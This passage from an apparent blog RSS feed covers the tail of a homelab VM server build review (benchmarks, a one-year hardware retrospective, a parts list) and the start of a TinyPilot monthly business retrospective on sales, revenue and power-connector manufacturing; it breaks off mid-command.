&lt;p>I expected a significant speedup here, so I was surprised when my build got slower. The build seemed to be mostly CPU-bound on my old server, but doubling CPU resources on my new server did nothing. My next guess was that it was disk-bound, so I tried moving the files to a RAMdisk, but build speeds remained the same.&lt;/p>
&lt;p>My hypothesis is that the workflow is CPU-bound but parallelizes poorly. My old server has fewer CPU cores, but each core is faster. If the build is limited to five or six threads, it can&amp;rsquo;t take advantage of my new server&amp;rsquo;s 48 cores.&lt;/p>
&lt;h3 id="train-a-new-zestful-model">Train a new Zestful model&lt;/h3>
&lt;p>&lt;a href="https://zestfuldata.com">Zestful&lt;/a> is my machine-learning-based API for parsing recipe ingredients. Every few months, I train it on new data. This is my most CPU-intensive workflow, so I was interested to see how the new system would handle it.&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 645px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/train-zestful.png">
 &lt;img
 
 sizes="(min-width: 768px) 645px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/train-zestful_hu_4a0afa0388bcaba2.png 300w, https://mtlynch.io/building-a-vm-homelab/train-zestful_hu_1dfc55471ffa66e9.png 600w, https://mtlynch.io/building-a-vm-homelab/train-zestful.png 645w'
 src="https://mtlynch.io/building-a-vm-homelab/train-zestful.png" alt="Graph showing 2017 SSD server completed in 18.3 minutes vs. 2020 server completed in 8 minutes" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Finally, a case where my 48 CPU cores shine! The new server blows the old one away, training the model in less than half the time. Unfortunately, it&amp;rsquo;s a workflow I only run a few times per year.&lt;/p>
&lt;h2 id="reflections">Reflections&lt;/h2>
&lt;h3 id="theres-no-shame-in-consumer-hardware">There&amp;rsquo;s no shame in consumer hardware&lt;/h3>
&lt;p>Even though /r/homelab may never respect me, on my next build, I&amp;rsquo;m planning to return to consumer hardware.&lt;/p>
&lt;p>The biggest advantage I see with server components is that they have &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/#installing-a-host-os">better compatibility with server software&lt;/a>. Back in 2017, I &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/#also-ran-esxi-65">couldn&amp;rsquo;t install ESXi until I disabled multithreading on my CPU&lt;/a>, degrading performance substantially. But that was a limitation in the Linux kernel, and later updates &lt;a href="https://www.pcworld.com/article/3176323/kernel-410-gives-linux-support-for-zen-multithreading.html">fixed it&lt;/a>.&lt;/p>
&lt;p>Server hardware commands a premium because of its greater reliability. For user-facing services, this characteristic is meaningful, but it matters much less on a development server. An occasional crash or bit flip on a dev server shouldn&amp;rsquo;t ruin your day.&lt;/p>
&lt;h3 id="consider-the-full-cost-of-dual-cpu">Consider the full cost of dual-CPU&lt;/h3>
&lt;p>This was the first time I&amp;rsquo;d ever built a dual-CPU computer. It was an interesting experience, but I don&amp;rsquo;t think it was worth the trouble.&lt;/p>
&lt;p>Based on my benchmarks, the CPU was so rarely the limiting factor in my workflows. The most damning evidence is Proxmox&amp;rsquo;s graph of my CPU usage over time. In the past few months, I&amp;rsquo;ve never pushed CPU load above 11%, so I&amp;rsquo;m crazy overprovisioned.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 940px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/max-cpu.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 940px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/max-cpu_hu_76ae4195b4eaafd5.png 300w, https://mtlynch.io/building-a-vm-homelab/max-cpu_hu_dbbce53e08714a15.png 600w, https://mtlynch.io/building-a-vm-homelab/max-cpu_hu_612b4931385475.png 800w, https://mtlynch.io/building-a-vm-homelab/max-cpu.png 938w'
 src="https://mtlynch.io/building-a-vm-homelab/max-cpu.png" alt="Graph of showing I never used more than 11% of my CPU" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My max CPU usage in the last few months never went above 11% of my server&amp;rsquo;s capacity.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The requirement for dual CPUs drove up the cost of a motherboard substantially and limited my options. Only a scant few mobos support dual Intel 2011-v3 CPUs, so I didn&amp;rsquo;t have many choices in terms of other motherboard features.&lt;/p>
&lt;h3 id="remote-administration-provides-flexibility">Remote administration provides flexibility&lt;/h3>
&lt;p>Before I used TinyPilot to manage my server, I didn&amp;rsquo;t realize how change-averse I was. Changing any BIOS or network settings brought a risk of losing the next few hours of my life physically moving around machines and reconnecting peripherals to debug and fix the problem. Knowing that, I never wanted to modify any of those settings.&lt;/p>
&lt;p>Having a virtual console gives me the freedom to fail and makes me more open to experimenting with different operating systems. It&amp;rsquo;s always going to be a substantial effort to install and learn a new OS, but knowing that I don&amp;rsquo;t have to drag machines back and forth makes me much more open to it. Had I not built TinyPilot, I might have stuck with ESXi as &amp;ldquo;good enough&amp;rdquo; rather than taking a chance on Proxmox.&lt;/p>
&lt;h2 id="a-year-later">A Year Later&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Updated 2021-12-05&lt;/strong>
&lt;/div>

&lt;p>A reader asked me if there&amp;rsquo;s anything I&amp;rsquo;d change about this build in retrospect, so I thought I&amp;rsquo;d share an update as it&amp;rsquo;s been a little over a year with this server.&lt;/p>
&lt;h3 id="cpu---too-much">CPU - Too much&lt;/h3>
&lt;p>I definitely went overboard on the dual E5-2680 v3 CPUs.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1278px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/cpu-usage.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1278px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/cpu-usage_hu_b0906afbdf188b49.png 300w, https://mtlynch.io/building-a-vm-homelab/cpu-usage_hu_3fbf5d83eb0dbd5f.png 600w, https://mtlynch.io/building-a-vm-homelab/cpu-usage_hu_2f625f3f84804ce9.png 800w, https://mtlynch.io/building-a-vm-homelab/cpu-usage_hu_c562ed75db70245d.png 1200w, https://mtlynch.io/building-a-vm-homelab/cpu-usage.png 1276w'
 src="https://mtlynch.io/building-a-vm-homelab/cpu-usage.png" alt="Graph showing I rarely used more than 50% of my CPU" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In a year of usage, I&amp;rsquo;ve rarely exceeded 50% CPU usage, meaning one CPU would have been sufficient.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In a year of usage, I&amp;rsquo;ve never reached 100% CPU usage, and I&amp;rsquo;ve only ever exceeded 50% capacity a handful of times, so I would have been fine with just a single CPU.&lt;/p>
&lt;h3 id="ssd---not-enough">SSD - Not enough&lt;/h3>
&lt;p>My 1 TB Samsung SSD is just about full, so I just purchased another a &lt;a href="https://www.newegg.com/samsung-2tb-870-evo-series/p/N82E16820147794?Item=N82E16820147794">2 TB Samsung 870 Evo&lt;/a> for a total of 3 TB of SSD. There&amp;rsquo;s plenty of space in the case for more SSDs.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/disk-usage.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/disk-usage_hu_4d802aafcd3c59db.png 300w, https://mtlynch.io/building-a-vm-homelab/disk-usage_hu_9090e4b70e8cbbe3.png 600w, https://mtlynch.io/building-a-vm-homelab/disk-usage_hu_c4eaba734cfd6a82.png 800w, https://mtlynch.io/building-a-vm-homelab/disk-usage_hu_9350e25158fa399a.png 1200w, https://mtlynch.io/building-a-vm-homelab/disk-usage.png 1292w'
 src="https://mtlynch.io/building-a-vm-homelab/disk-usage.png" alt="Screenshot showing my disk is 85% full" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My server has only 15% of disk still free.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>By default, I provision each VM with 40 GB of disk, which is sometimes limiting. When I&amp;rsquo;m doing work with Docker, container images can eat up disk quickly. Every few weeks, I find that I&amp;rsquo;ve filled up my VM&amp;rsquo;s disk, and I have to run &lt;code>docker system prune --all&lt;/code>, so the additional disk will spare me those interruptions.&lt;/p>
&lt;h3 id="ram---slightly-too-little">RAM - Slightly too little&lt;/h3>
&lt;p>The 64 GB of RAM has mostly been sufficient, but there have been a few instances where I have to turn off VMs to give myself more memory. I prefer not to interrupt my workflow managing resources, so I just ordered another 64 GB of the same RAM sticks.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1262px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/ram-usage.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1262px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/ram-usage_hu_9f0d09e3af2ea8da.png 300w, https://mtlynch.io/building-a-vm-homelab/ram-usage_hu_4d54552c79ce2b16.png 600w, https://mtlynch.io/building-a-vm-homelab/ram-usage_hu_cd6d9a6e445d05e.png 800w, https://mtlynch.io/building-a-vm-homelab/ram-usage_hu_1dc2241b1fc136a2.png 1200w, https://mtlynch.io/building-a-vm-homelab/ram-usage.png 1260w'
 src="https://mtlynch.io/building-a-vm-homelab/ram-usage.png" alt="Graph showing RAM frequently reaching 64 GB of capacity" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I&amp;rsquo;m reaching the limits of 64 GB of RAM.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="proxmox---still-great">Proxmox - Still great&lt;/h3>
&lt;p>I still love Proxmox as a VM manager. I purchased a license, which I&amp;rsquo;m not sure adds any new features that I use, but I&amp;rsquo;m happy to support the project.&lt;/p>
&lt;p>Annoyingly, the licenses are priced per CPU, so in addition the shame of buying too much CPU, I have to pay double for Proxmox.&lt;/p>
&lt;h3 id="parts-list-as-of-2021-12-05">Parts list (as of 2021-12-05)&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th>Component&lt;/th>
 &lt;th>I paid&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>CPU&lt;/td>
 &lt;td>&lt;a href="https://ark.intel.com/content/www/us/en/ark/products/81908/intel-xeon-processor-e5-2680-v3-30m-cache-2-50-ghz.html">Intel Xeon E5-2680 v3&lt;/a> (x2, used)&lt;/td>
 &lt;td>$264.82&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Motherboard&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/supermicro-mbd-x10dal-i-o-intel-xeon-processor-e5-2600-v4-v3-family/p/N82E16813182967">SuperMicro MBD-X10DAL-I-O&lt;/a>&lt;/td>
 &lt;td>$319.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/samsung-860-evo-series-1tb/p/N82E16820147673?Item=N82E16820147673">Samsung 860 EVO (1TB)&lt;/a>&lt;/td>
 &lt;td>$149.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/samsung-2tb-870-evo-series/p/N82E16820147794?Item=N82E16820147794">Samsung 870 EVO (2TB)&lt;/a>&lt;/td>
 &lt;td>$239.99*&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Memory&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/crucial-64gb-288-pin-ddr4-sdram/p/N82E16820148843?Item=9SIAHZUB514397">Crucial CT4K16G4RFD4213 64GB (4 x 16GB)&lt;/a>&lt;/td>
 &lt;td>$285.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Memory&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/crucial-64gb-288-pin-ddr4-sdram/p/N82E16820148843?Item=9SIAHZUB514397">Crucial CT4K16G4RFD4213 64GB (4 x 16GB)&lt;/a>&lt;/td>
 &lt;td>$164.11*&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Power&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/corsair-cx-series-cx550m-550w/p/N82E16817139147?Item=N82E16817139147">Corsair CX550M 550W 80 Plus Bronze&lt;/a>&lt;/td>
 &lt;td>$79.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphics&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/msi-geforce-gt-710-gt-710-1gd3h-lp/p/N82E16814127931?Item=N82E16814127931">MSI GeForce GT 710&lt;/a>&lt;/td>
 &lt;td>$44.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Case&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/black-fractal-design-meshify-c-atx-mid-tower/p/N82E16811352085?Item=N82E16811352085">Fractal Design Meshify C Black&lt;/a>&lt;/td>
 &lt;td>$84.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>CPU Fans&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/cooler-master-hyper-212-black-edition-rr-212s-20pk-r1/p/N82E16835103278?Item=N82E16835103278">Cooler Master Hyper 212&lt;/a> (x2)&lt;/td>
 &lt;td>$72.98&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Remote administration&lt;/td>
 &lt;td>&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> (KVM over IP)&lt;/td>
 &lt;td>$65.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>&lt;strong>$1,772.84&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* Purchased a year after the original build.&lt;/p>
&lt;h2 id="related-posts">Related posts&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/tinypilot">TinyPilot: Build a KVM Over IP for Under $100&lt;/a> - The open-source tool I created to provision my server.&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/building-a-vm-homelab-2017">Building a Homelab VM Server (2017 Edition)&lt;/a> - My first homelab server build.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 3</title><link>https://mtlynch.io/retrospectives/2020/10/</link><pubDate>Tue, 06 Oct 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/10/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot generated $3,800 in revenue with zero marketing.&lt;/li>
&lt;li>I went from zero to a complete, custom manufactured product in 26 days.&lt;/li>
&lt;li>I&amp;rsquo;m still struggling to manage my inventory.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="sell-60-tinypilot-kits-and-power-connectors">Sell 60 TinyPilot kits and power connectors&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Sold 29 kits and power connectors.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C+&lt;/li>
&lt;/ul>
&lt;p>The limiting factor here was manufacturing the power connectors. I wasn&amp;rsquo;t able to produce enough to keep up with demand. I sold everything I manufactured, but I couldn&amp;rsquo;t make them quickly enough.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot generated $3,800 in revenue with zero marketing.&lt;/li>
&lt;li>I went from zero to a complete, custom manufactured product in 26 days.&lt;/li>
&lt;li>I&amp;rsquo;m still struggling to manage my inventory.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="sell-60-tinypilot-kits-and-power-connectors">Sell 60 TinyPilot kits and power connectors&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Sold 29 kits and power connectors.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C+&lt;/li>
&lt;/ul>
&lt;p>The limiting factor here was manufacturing the power connectors. I wasn&amp;rsquo;t able to produce enough to keep up with demand. I sold everything I manufactured, but I couldn&amp;rsquo;t make them quickly enough.&lt;/p>
&lt;p>I take some pride in the fact that these 29 sales happened while I did zero sales or marketing.&lt;/p>
&lt;h3 id="test-three-new-marketing-channels">Test three new marketing channels&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Tested zero marketing channels.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>With inventory so low, I decided to postpone marketing efforts. It didn&amp;rsquo;t make sense to invest in advertising when I had nothing left to sell.&lt;/p>
&lt;h3 id="interview-seven-it-professionals-about-whether-theyd-use-tinypilot-in-their-work">Interview seven IT professionals about whether they&amp;rsquo;d use TinyPilot in their work&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Interviewed two IT professionals about remote administration.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C-&lt;/li>
&lt;/ul>
&lt;p>This was a big flop. The inventory squeeze was a legitimate reason to defer marketing, but customer research should have jumped up in priority during my downtime.&lt;/p>
&lt;p>The two conversations went positively, though. I stuck to &lt;a href="https://mtlynch.io/book-reports/the-mom-test/">Rob Fitzpatrick&amp;rsquo;s strategy&lt;/a> of gathering information instead of pitching my product. Both interviewees were interested in the idea of a low-cost KVM over IP and asked if they could participate in a demo when I had a product ready for them.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="tinypilot">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2020&lt;/th>
 &lt;th>September 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>2,284&lt;/td>
 &lt;td>1,741&lt;/td>
 &lt;td>&lt;font color="red">-543 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>6,136&lt;/td>
 &lt;td>7,057&lt;/td>
 &lt;td>&lt;font color="green">+921 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$2,951.40&lt;/td>
 &lt;td>$3,636.03*&lt;/td>
 &lt;td>&lt;font color="green">+$684.63 (+23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$94.06&lt;/td>
 &lt;td>$187.40&lt;/td>
 &lt;td>&lt;font color="green">+$93.34 (+99%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3,045.46&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3,817.99&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$772.53 (+25%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 * I&amp;rsquo;ve made a slight change to how I count &amp;ldquo;sales revenue.&amp;rdquo; Previously, I was just adding up all the money that came in, including tax and shipping. With 45% of my orders this month coming from international customers, shipping is a much larger percentage of sales, so starting in September, &amp;ldquo;sales revenue&amp;rdquo; excludes taxes and shipping.
&lt;/div>

&lt;p>Sales are up a bit, though there&amp;rsquo;s a bit of noise in the data given that everything was listed as backordered for most of August and September. Visits are down, which is unsurprising given the lack of advertising or new content on the site.&lt;/p>
&lt;h2 id="manufacturing-a-power-connector-from-start-to-finish">Manufacturing a power connector: from start to finish&lt;/h2>
&lt;p>Last month, I discovered that I had been &lt;a href="https://mtlynch.io/retrospectives/2020/09/#why-oh-y-cables">powering my TinyPilots incorrectly&lt;/a>, so I paused sales until I could fix the issue. The fix involved manufacturing a brand new circuit board from scratch while simultaneously 3D printing plastic enclosures for the boards. I had zero experience with either, but I needed the new component urgently, as my sales were frozen until I could produce it at scale.&lt;/p>
&lt;p>Here&amp;rsquo;s what that process looked like from start to finish:&lt;/p>
&lt;h3 id="day-1">Day 1&lt;/h3>
&lt;p>The engineering firm begins work on the circuit board for the power connector.&lt;/p>
&lt;p>It&amp;rsquo;s a simple enough board that they&amp;rsquo;re able to design it and order 100 printed circuit boards from China the same day.&lt;/p>
&lt;h3 id="day-2">Day 2&lt;/h3>
&lt;p>I reach out to a 3D printing lab and ask them to design a case for the power board. Within hours, they send me a work-in-progress image of the case design.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/case-design-wip.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/case-design-wip_hu_32cfb65cdf0ba7a2.jpg 300w, https://mtlynch.io/retrospectives/2020/10/case-design-wip_hu_11770a393f9cc55.jpg 600w, https://mtlynch.io/retrospectives/2020/10/case-design-wip.jpg 607w'
 src="https://mtlynch.io/retrospectives/2020/10/case-design-wip.jpg" alt="CAD image of a partially completed case design" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Early draft of a 3D printed case for the TinyPilot power connector&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="day-5">Day 5&lt;/h3>
&lt;p>The 3D printing lab completes their design and gets ready to begin printing a few prototype cases.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/case-v1-4.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/case-v1-4_hu_6a10e73f789a9afc.png 300w, https://mtlynch.io/retrospectives/2020/10/case-v1-4_hu_13834b185d3257bb.png 600w, https://mtlynch.io/retrospectives/2020/10/case-v1-4_hu_698fbecdda5099a1.png 800w, https://mtlynch.io/retrospectives/2020/10/case-v1-4_hu_fdcc469b3797d250.png 1200w, https://mtlynch.io/retrospectives/2020/10/case-v1-4.png 1469w'
 src="https://mtlynch.io/retrospectives/2020/10/case-v1-4.png" alt="3D rendering of case, bottom view, open" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/case-v1-3.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/case-v1-3_hu_2509569c4535724e.png 300w, https://mtlynch.io/retrospectives/2020/10/case-v1-3_hu_e1b9b2073f7861bc.png 600w, https://mtlynch.io/retrospectives/2020/10/case-v1-3_hu_48a3facee9828a2d.png 800w, https://mtlynch.io/retrospectives/2020/10/case-v1-3.png 1140w'
 src="https://mtlynch.io/retrospectives/2020/10/case-v1-3.png" alt="3D rendering of case, top view, open" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/case-v1-2.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/case-v1-2_hu_af436547adb6c4c5.png 300w, https://mtlynch.io/retrospectives/2020/10/case-v1-2_hu_a9b4b6f5904457c0.png 600w, https://mtlynch.io/retrospectives/2020/10/case-v1-2_hu_7d0f66b016da4ade.png 800w, https://mtlynch.io/retrospectives/2020/10/case-v1-2.png 894w'
 src="https://mtlynch.io/retrospectives/2020/10/case-v1-2.png" alt="3D rendering of case, bottom view" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/case-v1-1.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/case-v1-1_hu_fa372dbdf385745b.png 300w, https://mtlynch.io/retrospectives/2020/10/case-v1-1_hu_1ec3f41ad3e8adae.png 600w, https://mtlynch.io/retrospectives/2020/10/case-v1-1_hu_2cfc5d8c7dbbad14.png 800w, https://mtlynch.io/retrospectives/2020/10/case-v1-1.png 1031w'
 src="https://mtlynch.io/retrospectives/2020/10/case-v1-1.png" alt="3D rendering of case, top view" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;h3 id="day-8">Day 8&lt;/h3>
&lt;p>The engineering firm receives the bare PCBs from their overseas manufacturer.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/v1-pcbs.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/v1-pcbs_hu_54f2a2d88257c076.jpg 300w, https://mtlynch.io/retrospectives/2020/10/v1-pcbs_hu_40be809af8749f35.jpg 600w, https://mtlynch.io/retrospectives/2020/10/v1-pcbs_hu_89743190a059dc36.jpg 800w, https://mtlynch.io/retrospectives/2020/10/v1-pcbs_hu_f672f15453b6afff.jpg 1200w, https://mtlynch.io/retrospectives/2020/10/v1-pcbs.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2020/10/v1-pcbs.jpg" alt="Photo of a panel of uncut, unassembled PCBs" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>First batch of PCBs for the TinyPilot Power Connector&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At this point, the PCBs have an electrical circuit embedded in them, but the engineering firm still has to attach components to the boards, most notably the USB ports.&lt;/p>
&lt;p>The same day, the 3D printing lab produces their first two cases. I pick up the cases and overnight them to the engineering firm so that after they finish assembling a board, they can immediately test the case fit.&lt;/p>
&lt;h3 id="day-9">Day 9&lt;/h3>
&lt;p>The engineering firm reports that the cases fit the boards. The only noticeable issue is that there are wide gaps around the microUSB ports.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 460px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/first-cases.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 460px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/first-cases_hu_bed4965dd05ef5a.jpg 300w, https://mtlynch.io/retrospectives/2020/10/first-cases_hu_3a0794ec8cdf71c9.jpg 600w, https://mtlynch.io/retrospectives/2020/10/first-cases_hu_a70494fd9afdaf1e.jpg 800w, https://mtlynch.io/retrospectives/2020/10/first-cases_hu_39566ffce5e16e19.jpg 1200w, https://mtlynch.io/retrospectives/2020/10/first-cases.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2020/10/first-cases.jpg" alt="Photo of a panel of uncut, unassembled PCBs" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/microusb-gaps.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/microusb-gaps_hu_d83cc866b24ea96a.jpg 300w, https://mtlynch.io/retrospectives/2020/10/microusb-gaps_hu_a8655c7fc2db9699.jpg 600w, https://mtlynch.io/retrospectives/2020/10/microusb-gaps_hu_bbea9e34e64efb73.jpg 800w, https://mtlynch.io/retrospectives/2020/10/microusb-gaps_hu_891d64bfca40e997.jpg 1200w, https://mtlynch.io/retrospectives/2020/10/microusb-gaps.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2020/10/microusb-gaps.jpg" alt="Photo of a panel of uncut, unassembled PCBs" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>First attempt to assemble cases on the board. The fit was great, except for some small gaps around the microUSB ports.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The large gaps turned out to be intentional. Because I emphasized urgency, the 3D printing lab used wide holes to minimize the risk that the case would get in the way of any plugs. Once we confirm that my USB cables will fit a smaller opening, the lab revises their design to tighten the opening.&lt;/p>
&lt;h3 id="day-10">Day 10&lt;/h3>
&lt;p>I receive the first two board prototypes that the engineering firm soldered by hand before getting their automated processes going.&lt;/p>
&lt;p>I check TinyPilot&amp;rsquo;s functionality: success!&lt;/p>
&lt;p>I verify that the Raspberry Pi is receiving full power.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo journalctl -xe | grep &lt;span style="color:#ed9d13">&amp;#34;Under-voltage&amp;#34;&lt;/span>
